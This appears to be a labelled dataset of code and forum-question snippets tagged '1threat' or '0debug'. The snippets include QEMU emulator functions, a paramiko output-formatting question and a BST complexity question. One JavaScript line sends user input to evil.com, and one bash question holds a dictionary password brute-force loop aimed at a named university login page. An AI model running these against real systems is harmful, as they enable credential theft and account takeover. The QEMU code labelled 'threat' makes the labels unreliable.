static inline void gen_bcond (DisasContext *ctx, int type) { target_ulong target = 0; target_ulong li; uint32_t bo = BO(ctx->opcode); uint32_t bi = BI(ctx->opcode); uint32_t mask; if ((bo & 0x4) == 0) gen_op_dec_ctr(); switch(type) { case BCOND_IM: li = (target_long)((int16_t)(BD(ctx->opcode))); if (likely(AA(ctx->opcode) == 0)) { target = ctx->nip + li - 4; } else { target = li; } break; case BCOND_CTR: gen_op_movl_T1_ctr(); break; default: case BCOND_LR: gen_op_movl_T1_lr(); break; } if (LK(ctx->opcode)) { #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_setlr_64(ctx->nip >> 32, ctx->nip); else #endif gen_op_setlr(ctx->nip); } if (bo & 0x10) { switch (bo & 0x6) { case 0: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctr_64(); else #endif gen_op_test_ctr(); break; case 2: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctrz_64(); else #endif gen_op_test_ctrz(); break; default: case 4: case 6: if (type == BCOND_IM) { gen_goto_tb(ctx, 0, target); } else { #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_b_T1_64(); else #endif gen_op_b_T1(); gen_op_reset_T0(); } goto no_test; } } else { mask = 1 << (3 - (bi & 0x03)); gen_op_load_crf_T0(bi >> 2); if (bo & 0x8) { switch (bo & 0x6) { case 0: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctr_true_64(mask); else #endif gen_op_test_ctr_true(mask); break; case 2: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctrz_true_64(mask); else #endif gen_op_test_ctrz_true(mask); break; default: case 4: case 6: gen_op_test_true(mask); break; } } else { switch (bo & 0x6) { case 0: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctr_false_64(mask); else #endif gen_op_test_ctr_false(mask); break; case 2: #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_test_ctrz_false_64(mask); else #endif gen_op_test_ctrz_false(mask); break; default: case 4: case 6: gen_op_test_false(mask); break; } } } if (type == BCOND_IM) { int l1 = gen_new_label(); gen_op_jz_T0(l1); gen_goto_tb(ctx, 0, target); gen_set_label(l1); gen_goto_tb(ctx, 1, ctx->nip); } else { #if defined(TARGET_PPC64) if (ctx->sf_mode) gen_op_btest_T1_64(ctx->nip >> 32, ctx->nip); else #endif gen_op_btest_T1(ctx->nip); gen_op_reset_T0(); no_test: if (ctx->singlestep_enabled) gen_op_debug(); gen_op_exit_tb(); } ctx->exception = EXCP_BRANCH; }
1threat
static void x86_cpu_reset(CPUState *s) { X86CPU *cpu = X86_CPU(s); X86CPUClass *xcc = X86_CPU_GET_CLASS(cpu); CPUX86State *env = &cpu->env; target_ulong cr4; uint64_t xcr0; int i; xcc->parent_reset(s); memset(env, 0, offsetof(CPUX86State, end_reset_fields)); tlb_flush(s, 1); env->old_exception = -1; env->hflags2 |= HF2_GIF_MASK; cpu_x86_update_cr0(env, 0x60000010); env->a20_mask = ~0x0; env->smbase = 0x30000; env->idt.limit = 0xffff; env->gdt.limit = 0xffff; env->ldt.limit = 0xffff; env->ldt.flags = DESC_P_MASK | (2 << DESC_TYPE_SHIFT); env->tr.limit = 0xffff; env->tr.flags = DESC_P_MASK | (11 << DESC_TYPE_SHIFT); cpu_x86_load_seg_cache(env, R_CS, 0xf000, 0xffff0000, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); cpu_x86_load_seg_cache(env, R_DS, 0, 0, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK); cpu_x86_load_seg_cache(env, R_ES, 0, 0, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK); cpu_x86_load_seg_cache(env, R_SS, 0, 0, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK); cpu_x86_load_seg_cache(env, R_FS, 0, 0, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK); cpu_x86_load_seg_cache(env, R_GS, 0, 0, 0xffff, DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK); env->eip = 0xfff0; env->regs[R_EDX] = env->cpuid_version; env->eflags = 0x2; for (i = 0; i < 8; i++) { env->fptags[i] = 1; } cpu_set_fpuc(env, 0x37f); env->mxcsr = 0x1f80; env->xstate_bv = 0; env->pat = 0x0007040600070406ULL; env->msr_ia32_misc_enable = MSR_IA32_MISC_ENABLE_DEFAULT; memset(env->dr, 0, sizeof(env->dr)); env->dr[6] = DR6_FIXED_1; env->dr[7] = DR7_FIXED_1; cpu_breakpoint_remove_all(s, BP_CPU); cpu_watchpoint_remove_all(s, BP_CPU); cr4 = 0; xcr0 = XSTATE_FP_MASK; #ifdef CONFIG_USER_ONLY if (env->features[FEAT_1_EDX] & CPUID_SSE) { xcr0 |= XSTATE_SSE_MASK; } for (i = 2; i < ARRAY_SIZE(x86_ext_save_areas); i++) { const ExtSaveArea *esa = &x86_ext_save_areas[i]; if ((env->features[esa->feature] & esa->bits) == esa->bits) { xcr0 |= 1ull << i; } } if (env->features[FEAT_1_ECX] & CPUID_EXT_XSAVE) { cr4 |= CR4_OSFXSR_MASK | CR4_OSXSAVE_MASK; } if (env->features[FEAT_7_0_EBX] & CPUID_7_0_EBX_FSGSBASE) { cr4 |= CR4_FSGSBASE_MASK; } #endif env->xcr0 = xcr0; cpu_x86_update_cr4(env, cr4); env->mtrr_deftype = 0; memset(env->mtrr_var, 0, sizeof(env->mtrr_var)); memset(env->mtrr_fixed, 0, sizeof(env->mtrr_fixed)); #if !defined(CONFIG_USER_ONLY) apic_designate_bsp(cpu->apic_state, s->cpu_index == 0); s->halted = !cpu_is_bsp(cpu); if (kvm_enabled()) { kvm_arch_reset_vcpu(cpu); } #endif }
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
put output values in table form : i have proble with my code, so please anyone can help me? b'Filesystem' b'Size' b'Used' b'Avail' b'Use%' b'Mounted' b'on' b'/dev/mapper/rhel-root b'17G' b'7.7G' b'9.4G' b'46%' b'/' b'devtmpfs' b'15G' b'0' b'15G' b'0%' > And i want that my code look like this: Filesystem Size Used Avail Use% Mounted on /dev/abd/abd 10G 93M 10G 1% / devtmpfs 63G 0 63G 0% /dev tmpfs 63G 0 63G 0% /dev/shm tmpfs 63G 553M 63G 1% /run tmpfs 63G 0 63G 0% /sys/fs/cgroup /dev/mapper/rhel-usr 10G 1.2G 8.9G 12% /usr /dev/vda1 1014M 139M 876M 14% /boot /dev/mapper/xxx-xxx 10G 158M 9.9G 2% /home /dev/mapper/rhel-tmp 5.0G 33M 5.0G 1% /tmp /dev/mapper/rhel-var 10G 570M 9.5G 6% /var /dev/mapper/vg--prd-lv--prd 2.0T 1.8T 256G 88% /abcd /dev/mapper/xxxxxxxxxxxxxxxxxxxxxxxx 50G 2.3G 48G 5% /usr/openv tmpfs 13G 0 13G 0% /run/user/0 tmpfs 13G 0 13G 0% /run/user/1001 ================================================================= <br> i am using paramiko to connect to the server, but the output is like list so i want like this: stdin, stdout, stderr =ssh.exec_command('df -h') outp=stdout.read() data=[outp] for col in data[0].split(): print(col)
0debug
error syntax error: operand expected (error token is ""0"") on my code : i have a question about bash script. this is my code but i have an error when running it.please tell me what is problem and how i can fix it? #!/bin/bash clear old_IFS=$IFS IFS=$'\n' lines={$(cat dic.txt)} IFS=$old_IFS linesNum=${#lines[@]} i=0 while [ $i -lt $linesNum ] do curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="${lines[\"$i\"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=' https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$? if [ $check -eq '0' ] then echo " Password not found!" else echo " Password is: ${lines[\"$i\"]}" break fi ((i++)) done
0debug
What is the worst Time Complexity to insert a node in Binary search Tree? : What is the worst Time Complexity to insert a node in Binary search Tree?
0debug